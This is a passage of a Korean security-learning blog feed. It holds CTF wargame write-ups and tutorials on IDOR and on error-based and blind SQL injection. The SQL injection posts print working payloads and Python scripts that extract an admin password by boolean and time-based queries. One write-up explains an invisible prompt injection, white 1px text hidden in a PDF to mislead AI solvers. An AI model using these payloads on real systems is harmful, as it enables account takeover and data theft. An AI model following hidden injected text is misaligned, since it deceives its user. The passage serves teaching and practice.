    return &quot;Not Found&quot;, 404</code></pre><p>/report/view/<user_hash>와는 다르게 로그인 확인 후, 찾은 데이터의 주인과 현재 로그인한 사용자가 일치하는지 비교하지 않기에
<code>(data[&#39;owner&#39;] != session[&#39;user&#39;])</code></p>
<p><code>/report/view/c4ca4238a0b923820dcc509a6f75849b</code>
을 통해 접근하면 플래그를 획득할 수 있게 됩니다.</p>
<p>FLAG : </p>
<p align='center'><img src="https://velog.velcdn.com/images/coding_pineapple/post/7c95f980-ae20-4495-bdd1-7547404896e2/image.png
"></p>

<p>평가 : </p>
<p align='center'><img src="https://velog.velcdn.com/images/coding_pineapple/post/08643178-2725-4257-89f8-5028c1d2901d/image.png
"></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[클라이언트-서버 모델]]></title>
            <link>https://velog.io/@coding_pineapple/%ED%81%B4%EB%9D%BC%EC%9D%B4%EC%96%B8%ED%8A%B8-%EC%84%9C%EB%B2%84-%EB%AA%A8%EB%8D%B8</link>
            <guid>https://velog.io/@coding_pineapple/%ED%81%B4%EB%9D%BC%EC%9D%B4%EC%96%B8%ED%8A%B8-%EC%84%9C%EB%B2%84-%EB%AA%A8%EB%8D%B8</guid>
            <pubDate>Tue, 14 Jul 2026 05:55:27 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까 코딩 파인애플입니다
이번 시간에는 클라이언트-서버 모델에 관해 알아보겠습니다.</p>
<h1 id="⬆️클라이언트-서버-모델이란">⬆️클라이언트-서버 모델이란?</h1>
<p>클라이언트(Client)가 <strong>서비스를 요청(Request)</strong>하고, 서버(Server)가 그 <strong>요청을 처리한 뒤 결과(Response)를 돌려주는</strong> 컴퓨터 시스템 구조를 말합니다</p>
<p align="cneter">
<img src="
https://velog.velcdn.com/images/coding_pineapple/post/b3d8060e-800c-4992-885c-dcaf771c2ec6/image.png" width=100%>
</p>

<p><del>뭔가 좀 무서운데</del></p>
<p>동작 방식은 다음과 같습니다</p>
<blockquote>
<p>1️⃣ 사용자가 웹 브라우저를 실행한다
2️⃣ 브라우저가 서버에 원하는 정보를 요청한다
3️⃣ 서버가 요청을 처리한다
4️⃣ 처리한 결과를 다시 클라이언트에게 보낸다
5️⃣ 클라이언트는 받은 결과를 화면에 표시한다</p>
</blockquote>
<p>이 모든 과정이 일어나는 시간은 대부분 <strong>1초</strong>도 걸리지 않습니다<p align='center'>
<img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSl-NZ2KLDpT--77_X-dvFU-yJqBJH0ivPE1zz7x9pjSg&s=10" width=40%> </p>
예컨데, 식당으로 비유하면</p>
<p>식당이라는 인터넷 안에서 클라이언트라는 손님이 메뉴를 요청하면 서버라는 주방장이 요청을 처리하고 만든 요리를 클라이언트에게 보내는 과정이라고 보면 편합니다</p>
<p><del>(아 좋은 비유네용)</del></p>
<p align='center'><img src="https://i.namu.wiki/i/Wq28POIDxxHyO5vWzndElcGYleothGbwkWy5-e3c_pFl9rcNsvof8XaJWqYU3LE1yz71Im7DbPTp8VNS3nV2pQ.webp" width=50%>
</p>

<h2 id="🤵클라이언트-client">🤵클라이언트 (Client)</h2>
<p>클라이언트는 사용자의 요청을 서버에 전달하고, 서버가 보내준 결과를 사용자에게 보여주는 역할을 합니다</p>
<p><strong>프론드 엔드(Front-End)</strong>가 속하는 부분이기도 합니다 
(사용자 이용 화면 구현)</p>
<p>쉽게 말하면 <strong>&quot;서비스를 이용하는 쪽&quot;</strong>이 되는 셈이죠</p>
<p>클라이언트가 하는 역할은</p>
<blockquote>
<p>1️⃣사용자의 입력을 받는다
2️⃣서버에 요청을 보낸다
3️⃣서버로부터 응답을 받는다
4️⃣받은 결과를 화면에 출력한다</p>
</blockquote>
<p>정도로 있겠습니다</p>
<h2 id="🧑🍳서버-server">🧑‍🍳서버 (Server)</h2>
<p>서버는 클라이언트의 요청을 처리하여 필요한 데이터를 보내주는 역할을 합니다</p>
<p><strong>백엔드(Back-End)</strong>가 속하는 부분이기도 합니다 
(사용자가 보지 못하는 곳에서 유지보수 및 관리)</p>
<p>쉽게 말하면 <strong>&quot;서비스를 제공하는 쪽&quot;</strong>이 되는 셈이죠</p>
<p>서버가 하는 역할로는</p>
<blockquote>
<p>1️⃣클라이언트의 요청을 받는다
2️⃣요청을 분석한다
3️⃣필요한 데이터를 찾거나 계산한다
4️⃣결과를 클라이언트에게 보낸다</p>
</blockquote>
<p>정도로 있겠습니다</p>
<h2 id="ping">PING</h2>
<p>온라인 게임을 해보시면 <strong>ping</strong>이라는 단위를 한번쯤 보셨을 것입니다
이 ping이라는 단위 또한 <strong>클라이언트에서 서버-클라이언트로 한번 왕복하는 데 걸리는 시간</strong>을 의미합니다</p>
<p>예를 들어 ping : 67ms라 할 경우 67 밀리초(ms,Millisecond : 0.001초) 이니 클라이언트와 서버를 왕복하는 데 <strong>0.067</strong>초가 걸렸다는 의미이기도 합니다</p>
<p align="cneter">
<img src="
https://velog.velcdn.com/images/coding_pineapple/post/8900d36a-9e8b-4ea6-8d43-5398203211e2/image.png" width=60%>
</p>

<p><del>ping : 1022.73431초</del></p>
<p>이상으로 글을 마치겠습니다 감사합니다</p>
<p align='center'>
<img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTeat2kaknROJDOCZpQGfLeSIVM5taolrNsyOQ--pITFw&s=10" width=50%></p>]]></description>
        </item>
        <item>
            <title><![CDATA[[DreamHack] 이것도 딸깍해 보시지! 풀이]]></title>
            <link>https://velog.io/@coding_pineapple/DreamHack-%EC%9D%B4%EA%B2%83%EB%8F%84-%EB%94%B8%EA%B9%8D%ED%95%B4-%EB%B3%B4%EC%8B%9C%EC%A7%80-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@coding_pineapple/DreamHack-%EC%9D%B4%EA%B2%83%EB%8F%84-%EB%94%B8%EA%B9%8D%ED%95%B4-%EB%B3%B4%EC%8B%9C%EC%A7%80-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Fri, 10 Jul 2026 01:25:34 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까 코딩 파인애플입니다
이번에는 이것도 딸깍해 보시지!에 관해 풀어보겠습니다.</p>
<h1 id="이것도-딸깍해-보시지">이것도 딸깍해 보시지!</h1>
<p><a href="https://dreamhack.io/wargame/challenges/2771">https://dreamhack.io/wargame/challenges/2771</a></p>
<p align="center"><img src="https://dreamhack-media.s3.amazonaws.com/attachments/329f7e2ac3a849af92997dc2c7bd1b1b60da414c49f9f064b3cbfb97467b9dba.png" width=70%></p>딸깍ㅋㅋ과 관련된 문제입니다. 문제는 매우 단순합니다

<p>(여러분도 한번 풀어보세요)</p>
<p><br><br><br><br><br><br>
<a href="https://velog.velcdn.com/images/coding_pineapple/post/1c78e969-1653-44b3-8332-ac4a1714fbd4/image.pdf" download="homework.pdf">파일 다운로드</a></p>
<p><br><br><br><br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
네! 맞습니다! 플래그는 다음과 같습니다!</p>
<p><img src="https://velog.velcdn.com/images/coding_pineapple/post/6ec1596d-8eec-4d4f-9792-ba8c4dd94fef/image.png" alt=""></p>
<p><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
라고 나오신 분들은 반성을 좀 하셔야 합니다<p align='center'><img src="https://media.tenor.com/eEbBmErRwPAAAAAe/cat-serious-cat.png" width=70%></p><strong>AI를 돌려 풀었다는 말이기도 하죠</strong></p>
<p><a href="https://www.youtube.com/shorts/V9KYEGqc1tE">영상을 참고하시길 바랍니다</a></p>
<p>문제는 PDF 파일에는 안 보이는 글자를 몇 글자 숨기고 Microsoft Word로 작성한 후 PDF 파일을 만든 것이며, 주어진 소스 코드에서 특정 부분에 1px, 흰색 글자를 숨겨 놓았습니다 따라서 사람이 보는 것과 AI가 보는 게 다르죠.</p>
<p>이를 <strong>Invisible Prompt Injection</strong> 이라 부릅니다</p>
<blockquote>
<p><strong>Invisible Prompt Injection</strong> : 사용자가 보거나 인식하지 못하는 방식으로 LLM에 악의적인 지시를 숨겨 입력하는 사이버 공격 기법이다.</p>
</blockquote>
<p>따라서 문제의 풀이 방식은 직접 풀거나 혹은 문제 자체를 캡쳐해서 AI에게 풀던가 (...) 하는 방식으로 풀이하셔야 합니다.</p>
<p>따라서 진정한 플래그는 
<img src="https://velog.velcdn.com/images/coding_pineapple/post/26484c68-36cf-421c-b132-20af542b1467/image.png" alt="">가 됩니다.</p>
<p><strong>flag : DH{AI_Stands_For_Artificial_Idiot_haha}</strong>
평가 : AI 이용에 관해 좀 반성해볼 수 있는 문제.</p>
<p><del>참고로 전 직접 풀어보고도 틀렸습니다.</del></p>
<p align='center'>
<img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSXrU7zVKD2MYSm-mGFKo4cLxMgjX0rOLPAcqj5szt9kw&s=10" width=30%></p>

<h2 id="🤖-딸깍">🤖 딸깍?</h2>
<p>요즘 AI가 발전함에 따라 AI를 활용해 만든 창작물이나 작품이 쏟아지는 추세입니다.</p>
<p>AI는 확실히 좋은 프로그램이 맞습니다 </p>
<p>이를 통해 매우 유용한 프로그램을 만들거나 혹은 AI와 상담을 하거나, 혹은 공부를 하는 등 여러가지로 말이죠.</p>
<p>하지만 AI를 AI답게,
기계를 기계답게 쓰지 않는 사람도 많이 늘어나고 있습니다.</p>
<p>AI를 통해 범죄에 써먹거나, 음란물을 만들거나, 혹은 크래킹의 도구로써 쓰이는 등을 통해 말이죠</p>
<p>그렇다면 &#39;저희&#39;같이 IT에 몸담은 사람들은 AI를 어떻게 AI답게 사용할 수 있을까요?</p>
<p>일본의 게임 개발자 &#39;ZUN&#39;님이 이에 관해 언급한 적이 있습니다
<img src="https://velog.velcdn.com/images/coding_pineapple/post/c6cf2603-8387-4f3d-ab31-22a3179e0d60/image.png
" width=30%>....</p>
<p>&quot;요즘 AI 때문에 굉장히 시끄럽잖아요.</p>
<p>여러 제작 현장에서 논란이 있는데, <strong>가장 중요한 건 AI에게 지지 않는 거</strong>라고 생각해요. 난 예전부터 그렇게 말해왔어요.
<strong>무언가를 창작하는 걸 AI에게 맡겨버리는 건 AI에게 진 거예요.
하지만 AI를 부정하고, 싫다고 거부하는 것도 역시 지는 거예요.</strong>
AI라는 존재를 자신보다 무서운 존재로 인식하느냐, 아니면 자신이 그것을 받아들이느냐. 사람들은 이 둘로 갈리고 있어요.</p>
<p>나는 이번 타이밍에 AI를 사용한 건, AI를 그저 ‘도구’로 끌어내리고 싶었기 때문이에요.</p>
<p><em><strong>&#39;AI는 단순히 편리한 도구일 뿐이다.&#39;</strong></em></p>
<p>그러니까 창조적인 부분에서는 절대 지지 않겠다는 의지 표현이에요.
너무 많이 말하면 스포일러가 될 수 있지만, 이번 작품의 주제상 AI를 반드시 사용하고 싶었어요.&quot;</p>
<p>중략...</p>
<p>&quot;근데 오해하지 않았으면 하는 게, 나는 창작적인 부분에는 AI를 사용하지 않았어요. 왜냐면 그걸 쓰면 재미없어질 거라고 생각했기 때문이에요.
세상에는 AI 그림 작가 같은 사람도 있지만, <strong>그건 자신의 능력을 넘어서서, AI에게 사용당하고 있는 거예요.</strong>
그렇게 되면 안 되고, AI를 완전히 거부하는 사람도 AI에게 진 사람이에요.
AI는 그저 편리한 도구일 뿐입니다.</p>
<p><del>그리고 저작권 문제는 없는 걸 사용했어요.</del>&quot;</p>
<p>-<a href="https://www.youtube.com/watch?v=2i_6QEQ4xWA">동방금상경 AI사용에 관한 입장, 22분 50초 참고</a></p>
<p>그 말대로 <strong>AI는 본질적으로 단순 편리한 도구</strong>에 지나치지 않습니다 그 이상도 그 이하도 아닌 셈이죠</p>
<p>반대로 AI를 부정하고 사용하지 않는다면 <strong>AI시대로부터 뒤떨어지게 되는 겁니다</strong></p>
<p>하지만 AI에게 &#39;창작&#39;을 맡기는 순간 그건 AI를 도구로 보는 것이 아닌 <strong>AI에게 이용당하는 것이 됩니다.</strong></p>
<p>...</p>
<p>필자 또한 AI를 처음 사용하였을 때는 &#39;이게 뭐 말만 해주면 다해주네?&quot; 하고 막무가네 사용하였지만 지금 와서는 뭐 과제든 뭐든 다 해주니까 <strong>&#39;과연 내가 배움의 의미가 있나&#39;</strong> 싶어 하는 고뇌도 해봤습니다</p>
<p>그 결과 <strong>&#39;배울 건 최대한 배우되 최소한 AI가 만든 것을 이해하고 분석할 수 있을 정도로 배우자&#39;</strong> 라는 답에 도달하였고 이는 비단 저만 해당되는 것이 아닌 <strong>IT 종사자라면 반드시 갖춰야 할 최소한의 소양이자 주체적인 태도</strong>일 것입니다.</p>
<p>이상으로 긴 글 읽어주셔서 감사합니다</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[INSECURE DIRECT OBJECT REFRENCE]]></title>
            <link>https://velog.io/@coding_pineapple/INSECURE-DIRECT-OBJECT-REFRENCE</link>
            <guid>https://velog.io/@coding_pineapple/INSECURE-DIRECT-OBJECT-REFRENCE</guid>
            <pubDate>Thu, 09 Jul 2026 11:55:53 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까 코딩 파인애플입니다
이번에는 IDOR에 관해 알아보겠습니다.</p>
<h1 id="▶️idor이란">▶️IDOR이란?</h1>
<p>IDOR(Insecure Direct Object Reference)은 웹 애플리케이션 보안 취약점 중 하나로, <strong>접근 제어가 제대로 이루어지지 않아</strong> 발생하는 대표적인 취약점입니다</p>
<p>IDOR의 특징 중 하나가 매우 쉬운 해킹인데 단순 <strong>URL</strong>같은 곳에 딸깍 몇 번이면 털린다는 특징이 존재합니다</p>
<p align="center"><img src="https://file.alphawiki.org/38/38e785fd9d593dff5acc259d2921f4684fc664833c88b4469585428ce19539e1.webp" width=75%></p>

<p><del>딸깍 ㅋㅋㅋ</del></p>
<p>예를 들자면 <code>https://example.com/user/profile?userid=1005</code>이라는 URL이 존재한다 가정했을 때 </p>
<p>userid의 숫자만 단순 1~1004 중 하나로 변경한다면 해당 유저 번호에 일치하는 계정으로 로그인 할 일 없이 단순하게 로그인이 된다는 점입니다.</p>
<p>IDOR 취약점은 URL에만 국한되지 않고 <strong>HTTP Body, HTTP Header / Cookie, API 엔드포인트</strong> 등을 통해서도 발생됩니다</p>
<p>특히 F12를 통해 볼 수 있는 HTTP 환경에 단순 <strong>on을 off로 바꾸는 것</strong>으로도 발생하기도 합니다.</p>
<h2 id="왜♿️발❗♿️생❗하❗♿️는♿️갓❗">왜+♿️+발❗+♿️+생❗+하❗+♿️+는+♿️+갓❗</h2>
<p>그렇다면 이런 딸깍ㅋㅋ 만으로 털리는 IDOR 취약점은 왜 발생할까요</p>
<p>이는 서버 측의 <strong>&#39;권한 검증&#39;</strong> 누락되었기에 발생하는 게 대표적입니다</p>
<p align="center">
<img src="https://velog.velcdn.com/images/coding_pineapple/post/9e472798-26fe-483e-b72f-70d8ec59a3fb/image.png" width=60%>
</p>
서버는 사용자의 요청을 받을 때 다음 두 가지를 모두 확인해야 합니다.

<p><strong>인증 (Authentication)</strong>: &quot;이 사람이 로그인한 사용자가 맞는가?&quot;</p>
<p align="center"><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRc8G26H22goVVvE089ObdpD_KH1oEARzSp6yuY7-xmgkQvrw2rB0mCFjy-&s=10" width=30%>
</p>

<p><strong>인가/권한 검증 (Authorization)</strong>: &quot;이 사용자가 <em>요청한 데이터(객체)</em>에 접근할 권한이 있는가?&quot;</p>
<p align="center"><img src="https://tomhoyle.wordpress.com/wp-content/uploads/2013/12/falsepassport.png" width=30%>
</p>

<p>IDOR 취약점이 있는 서버는 1번(로그인 여부)만 확인하고,</p>
<p>*<em>2번(요청한 데이터가 진짜 이 사람의 데이터가 맞는지)을 검증하지 않습니다. *</em></p>
<p>이런 간단한 실수로 인해 IDOR 취약점이 발생하는 까닭입니다.</p>
<p>한번 배웠던 내용을 실습해봅시다
<a href="https://dreamhack.io/wargame/challenges/2814">https://dreamhack.io/wargame/challenges/2814</a></p>
<p>풀이  :
<a href="https://velog.io/@coding_pineapple/DreamHack-%EB%93%9C%EB%A6%BC-%EB%B3%91%EC%9B%90-%ED%92%80%EC%9D%B4">https://velog.io/@coding_pineapple/DreamHack-%EB%93%9C%EB%A6%BC-%EB%B3%91%EC%9B%90-%ED%92%80%EC%9D%B4</a></p>
<p>이상으로 글을 마치겠습니다 감사합니다</p>
<p align="center"><img src="https://i.ytimg.com/vi/fq3qtuCGRBE/sddefault.jpg"></p>

]]></description>
        </item>
        <item>
            <title><![CDATA[Error-Based SQL INJECTION]]></title>
            <link>https://velog.io/@coding_pineapple/Error-Based-SQL-INJECTION</link>
            <guid>https://velog.io/@coding_pineapple/Error-Based-SQL-INJECTION</guid>
            <pubDate>Wed, 08 Jul 2026 12:00:53 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까 코딩 파인애플입니다
이번 시간에는 ERROR_BASED SQL INJECTION에 관해 알아보겠습니다.</p>
<h1 id="⚠️error-based-sql-injection이란">⚠️ERROR BASED SQL INJECTION이란?</h1>
<p>ERROR BASED SQL INJECTION이란</p>
<p>공격자가 데이터베이스에 에러를 일으키도록 잘못된 SQL 명령어를 입력한 뒤, 화면에 출력되는 에러 메시지를 분석해서 DB의 구조나 데이터를 탈취하는 기법을 말합니다</p>
<p>BLIND SQL INJECTION하고 원리는 조금 비슷한데, 에러가 나는 지 웹페이지에 반응을 보고 공격이 가능한 지 판별한 수 있습니다.</p>
<p>또한 ERROR BASED SQL INJECTION에서 에러를 유발시키기 위해 다음과 같은 함수를 사용합니다.</p>
<blockquote>
<p>1️⃣ <strong>EXTRACTVALUE(X,Y)</strong> : 두 개의 인자를 받아 <strong>두 번째 인자인 Y</strong>에 올바른 경로가 아닌 특수문자와 함께 원하는 SQL 쿼리를 집어넣는 방식입니다</p>
</blockquote>
<pre><code>SELECT * FROM products WHERE id = 1 AND EXTRACTVALUE(1, CONCAT(0x0a, VERSION()));</code></pre><p>을 넣어 공격하게 되면 
ERROR 1105 (HY000): XPATH syntax error: &#39;version&#39;
이라는 메시지가 나오면서 공격을 할 수 있습니다</p>
<p>또한 여기에 VERSION() 이 아닌 <strong>다른 함수를 넣어서 공격이 가능</strong>합니다</p>
<p><img src="https://velog.velcdn.com/images/coding_pineapple/post/067215d4-73bb-4147-9f0e-062928cf0dbf/image.png" alt=""></p>
<p>그 예시로 다음과 같은 sqli에 취약한 코드가 있다 가정해봅시다.</p>
<pre><code>import os
from flask import Flask, request
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config[&#39;MYSQL_HOST&#39;] = os.environ.get(&#39;MYSQL_HOST&#39;, &#39;localhost&#39;)
app.config[&#39;MYSQL_USER&#39;] = os.environ.get(&#39;MYSQL_USER&#39;, &#39;user&#39;)
app.config[&#39;MYSQL_PASSWORD&#39;] = os.environ.get(&#39;MYSQL_PASSWORD&#39;, &#39;pass&#39;)
app.config[&#39;MYSQL_DB&#39;] = os.environ.get(&#39;MYSQL_DB&#39;, &#39;users&#39;)
mysql = MySQL(app)

template =&#39;&#39;&#39;
&lt;pre style=&quot;font-size:200%&quot;&gt;SELECT * FROM user WHERE uid=&#39;{uid}&#39;;&lt;/pre&gt;&lt;hr/&gt;
&lt;form&gt;
    &lt;input tyupe=&#39;text&#39; name=&#39;uid&#39; placeholder=&#39;uid&#39;&gt;
    &lt;input type=&#39;submit&#39; value=&#39;submit&#39;&gt;
&lt;/form&gt;
&#39;&#39;&#39;

@app.route(&#39;/&#39;, methods=[&#39;POST&#39;, &#39;GET&#39;])
def index():
    uid = request.args.get(&#39;uid&#39;)
    if uid:
        try:
            cur = mysql.connection.cursor()
            cur.execute(f&quot;SELECT * FROM user WHERE uid=&#39;{uid}&#39;;&quot;)
            return template.format(uid=uid)
        except Exception as e:
            return str(e) #⚠️취약
    else:
        return template


if __name__ == &#39;__main__&#39;:
    app.run(host=&#39;0.0.0.0&#39;)
</code></pre><p>위 코드에서는 except 구문을 보면 에러가 발생하였을 때 그 원인을 숨기지 않고 <strong><code>return str(e)</code> 을 통해서 에러 메시지를 출력</strong>하게 하는 것을 알 수 있습니다.</p>
<p>따라서 저희는 다음과 같은 구문을 넣어 Error based sqli 공격을 가능하게끔 만들 수 있습니다.</p>
<pre><code>&#39; and extractvalue(1,concat(0x3a, (select upw from user where uid=&#39;admin&#39;))); #</code></pre><p><img src="https://velog.velcdn.com/images/coding_pineapple/post/8e9ecb1e-5498-4aa0-b695-ad33d03e2059/image.png" alt=""></p>
<p>이렇게 다음과 같이 작은 따음표를 이용하여 감싸주고 extractvalue 함수를 통해서 sqli 공격을 성공한 것을 볼 수 있습니다. 
<del>(물론 문장 끝이 나오다 말았지만.)</del></p>
<p align="center">
<img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSgmEKmnPgzRnc70wD18KHGnAOZraY9xHb68dJxfaKRZpGGp8WPikACKsMr&s=10"></p>

<blockquote>
<p>2️⃣<strong>UPDATEXML</strong>(원본_XML, XML_경로, 변경할_내용) : XML 데이터를 수정하는 함수입니다.
 원본 XML 문서를 가져와서, 경로에 있는 값을 새로운 내용으로 바꾸고 싶을 때 사용합니다</p>
</blockquote>
<pre><code>UPDATEXML(&#39;&lt;book&gt;&lt;title&gt;제목1&lt;/title&gt;&lt;/book&gt;&#39;, &#39;/book/title&#39;, &#39;&lt;title&gt;제목2&lt;/title&gt;&#39;);</code></pre><p>다음과 같이 /book/title 의 경로의 내용을 제목2로 변경시킬 수 있지만 만일 <strong>경로가 잘못되면 에러를 출력하므로</strong></p>
<p>공격자는 경로에 자신이 탈취하고픈 데이터를 입력해 공격을 합니다</p>
<p>방금과 같은 sqli에 취약한 사이트에 공격 구문을 짜보자면 다음과 같이 나올 수 있겠습니다.</p>
<pre><code>&#39; AND UPDATEXML(1, CONCAT(0x3a, (select upw from user where uid=&#39;admin&#39;)), 1) #</code></pre><p>이렇게 데이터를 입력하여 공격을 가능하게 만들 수 있습니다.</p>
<p><img src="https://velog.velcdn.com/images/coding_pineapple/post/a20d3280-3a59-4660-b630-ca4140f4351b/image.png" alt=""></p>
<p>한번 배웠던 내용을 실습해봅시다
<a href="https://dreamhack.io/wargame/challenges/412">https://dreamhack.io/wargame/challenges/412</a></p>
<p>이상으로 글을 마치겠습니다 감사합니다</p>
<p><img src="https://velog.velcdn.com/images/coding_pineapple/post/ff27ba6b-3f7d-486b-a748-c08f33154797/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Blind SQL INJECTION]]></title>
            <link>https://velog.io/@coding_pineapple/Blind-SQL-INJECTION</link>
            <guid>https://velog.io/@coding_pineapple/Blind-SQL-INJECTION</guid>
            <pubDate>Tue, 07 Jul 2026 08:29:35 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까 코딩 파인애플입니다
이번 시간에는 Union_Based SQL INJECTION에 관해 알아보겠습니다.</p>
<h1 id="⬛blind-sql-injection">⬛BLIND SQL INJECTION</h1>
<p>BLIND SQL INJECTION 공격은 데이터베이스의 조회 결과가 화면에 직접 노출되지 않는 환경에서, 공격자가 참과 거짓의 질문을 던져 서버의 반응 변화를 통해 DB 내부의 데이터를 유추해내는 해킹 기법을 의미합니다.</p>
<p>쿼리의 실행 값을 responce로 받을 수 없을 때 사용하는 sql injection 기법입니다.</p>
<p>일단 기본적으로 코드를 짜야 하는 문제이므로 쉽지 않을 수도 있습니다.</p>
<p align="center">
<img src="https://velog.velcdn.com/images/coding_pineapple/post/9ac6450b-0c4d-45e0-924b-6202d46ac4d0/image.png" width=50%>
</p>

<p><del>(BLIND SQL INJECTION의 적절한 예시)</del></p>
<p>BLIND SQL INJECTION에서는 대표적으로 두 가지 공격방법이 존재합니다</p>
<blockquote>
<p>1️⃣ 콘텐츠 기반 (Boolean-based)
2️⃣ 시간 기반 (Time-based)</p>
</blockquote>
<h2 id="🚵boolean-based-sql-injection">🚵BOOLEAN-BASED SQL INJECTION</h2>
<p>웹 페이지의 반응(텍스트, 링크, 페이지 구성 등)이 <strong>미세하게 바뀌는 것을 보고</strong> 참/거짓을 판단하는 방법입니다.</p>
<p>예를 들어 스무고개가 있겠습니다.</p>
<pre><code>SELECT * FROM users WHERE username = &#39;user_input&#39; AND password = &#39;password_input&#39;;</code></pre><p>일 때 user_input 부분을 아이디 대신</p>
<pre><code>admin&#39; AND SUBSTRING(password, 1, 1) = &#39;b&#39; --</code></pre><p>을 쑤셔넣으면 ♥️ 
username이 &#39;admin&#39;이고, password의 1번째 글자부터 1글자 잘라낸 값(SUBSTRING)이 &#39;b&#39;와 같냐? 라는 뜻이 됩니다.</p>
<p>뭐, 참이면 화면 내용이 달라지겠고, 거짓이면 &#39;아이디나 비밀번호가 틀렸습니다.&#39; 따위의 내용이 나오겠죠.</p>
<p>하지만 저희가 고작 이거 따위(...)를 알려내려고 하나하나 다 일일히 대조할 수도 없는 노릇이니 보편적으로는 코드를 만들어서 <strong>자동화</strong>를 하는 편입니다.</p>
<pre><code>#username=&#39;admin&#39;일 경우의 기초적인 blind sql injection

import requests
url = &quot;해킹하려는 url&quot;

# 비번 길이 탐색
def check_length(url):
    for i in range(0, 100): #99 문자까지.
        param = {
            &quot;username&quot;: f&quot;admin&#39; and length(password)={i} -- 1&quot;,
            &quot;password&quot;: &quot;123&quot;
        }
        r = requests.post(url, data=param)
        if &quot;기댓값&quot; not in r.text: 
        #&#39;기댓값&#39;의 경우 &#39;참&#39;이면 나오는 서버의 텍스트를 삽입.
            print(f&quot;[+] password 길이 발견: {i}&quot;)
            return i

# 비번 탐색
def find_char(url, length):
    string = &quot;&quot;
    for i in range(1, length + 1):
        print(f&quot;[*] {i}번째 문자 탐색중...&quot;)
        for j in range(32, 127):  # ASCII 32(공백) ~ 126(~)
            param = {
                &quot;username&quot;: f&quot;admin&#39; and ascii(substr(password,{i},1))={j} -- 1&quot;,
                &quot;password&quot;: &quot;123&quot;
            }
            r = requests.post(url, data=param)
            if &quot;기댓값&quot; not in r.text: #이하 동일.
                string += chr(j)
                print(f&quot;  현재까지: {string}&quot;)
                break  # 이 자리 글자 찾았으니 다음 자리로
    return string


print(&quot;[*] Blind SQL Injection 공격 시작&quot;)
length = check_length(url)
if length:
    print(f&quot;\n[*] password 길이: {length}&quot;)
    print(&quot;[*] password 추출 시작...\n&quot;)
    password = find_char(url, length)
    print(f&quot;[+] admin password: {password}&quot;)
</code></pre><p>이렇게 다음과 같이 저번에 배운 import requests문을 이용한 자동화 코드를 통해 쉽게쉽게 알아낼 수도 있습니다.</p>
<h2 id="🕕time-based-sql-injection">🕕TIME-BASED SQL INJECTION</h2>
<p>참/거짓에 따라 웹페이지의 <strong>반응이 똑같아서 눈으로는 구별할 수 없을 때</strong> 쓰이는 방법입니다.</p>
<p>이때는 DB를 강제로 멈춰서 <strong>딜레이의 차이로 판단</strong>합니다</p>
<p align="center">
<img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRwQwtzb9NHFl8mL2Bzn5CDqjt76j82sUBtHT60GxGPo3NIJa9sHJq_yTsT&s=10" width=50%>
</p>

<p>시간을 지연시키는 함수인 sleep() 함수를 이용하여 Time Based SQLi를 시도합니다</p>
<pre><code>import requests
import time

url = &quot;http://war.knock-on.org:48345/login&quot;

def check_length(url):
    for i in range(0, 100):
        param = {
            &quot;username&quot;: f&quot;admin&#39; and if(length(password)={i}, sleep(3), 0) -- &quot;,
            &quot;password&quot;: &quot;123&quot;
        }
        start_time = time.time()
        r = requests.post(url, data=param)
        end_time = time.time()
        elapsed = end_time - start_time
        print(f&quot;  길이 {i}: {elapsed:.2f}초&quot;, end=&quot;&quot;)
        # 응답 시간이 2.5초 이상이면 sleep(3)이 실행된 것 = 조건 참
        if elapsed &gt;= 2.5:
            print(f&quot; ✅&quot;)
            return i
        else: print()
        time.sleep(0.1)
    return None

def find_char(url, length):
    string = &quot;&quot;
    for i in range(1, length + 1):
        print(f&quot;[*] {i}번째 문자 탐색중...&quot;)
        for j in range(32, 127):
            param = {
                &quot;username&quot;: f&quot;admin&#39; and if(ascii(substr(password,{i},1))={j}, sleep(3), 0) -- &quot;,
                &quot;password&quot;: &quot;123&quot;
            }
            start_time = time.time()
            r = requests.post(url, data=param)
            end_time = time.time()
            elapsed = end_time - start_time
            # 응답 시간이 2.5초 이상이면 sleep(3)이 실행된 것 = ASCII 일치
            if elapsed &gt;= 2.5:
                string += chr(j)
                print(f&quot;  &#39;{chr(j)}&#39; 발견 ({elapsed:.2f}초)&quot;)
                print(f&quot;  현재까지: {string}&quot;)
                break
            time.sleep(0.1)
    return string

# 실행
print(&quot;[*] Time-Based SQL Injection 공격 시작&quot;)
print(f&quot;[*] 대상 URL: {url}&quot;)
length = check_length(url)
if length:
    print(f&quot;\n[+] password 길이: {length}\n&quot;)
    password = find_char(url, length)
    print(f&quot;[+] admin password: {password}&quot;)
else: print(&quot;\n[-] password 길이를 찾지 못했습니다.&quot;)
</code></pre><p>이렇게 다음과 같이 시작 시간과 끝 시간을 감산한 값이 특정 시간을 넘을 경우 sqli이 되게 설정하게 만들 수 있습니다.</p>
<br>

<p>이상으로 글을 마치겠습니다 감사합니다
<img src="https://velog.velcdn.com/images/coding_pineapple/post/a2821bd7-cc38-4692-8ce1-38bbff7862db/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Python requests 모듈]]></title>
            <link>https://velog.io/@coding_pineapple/Python-requests-%EB%AA%A8%EB%93%88</link>
            <guid>https://velog.io/@coding_pineapple/Python-requests-%EB%AA%A8%EB%93%88</guid>
            <pubDate>Fri, 03 Jul 2026 06:02:30 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까
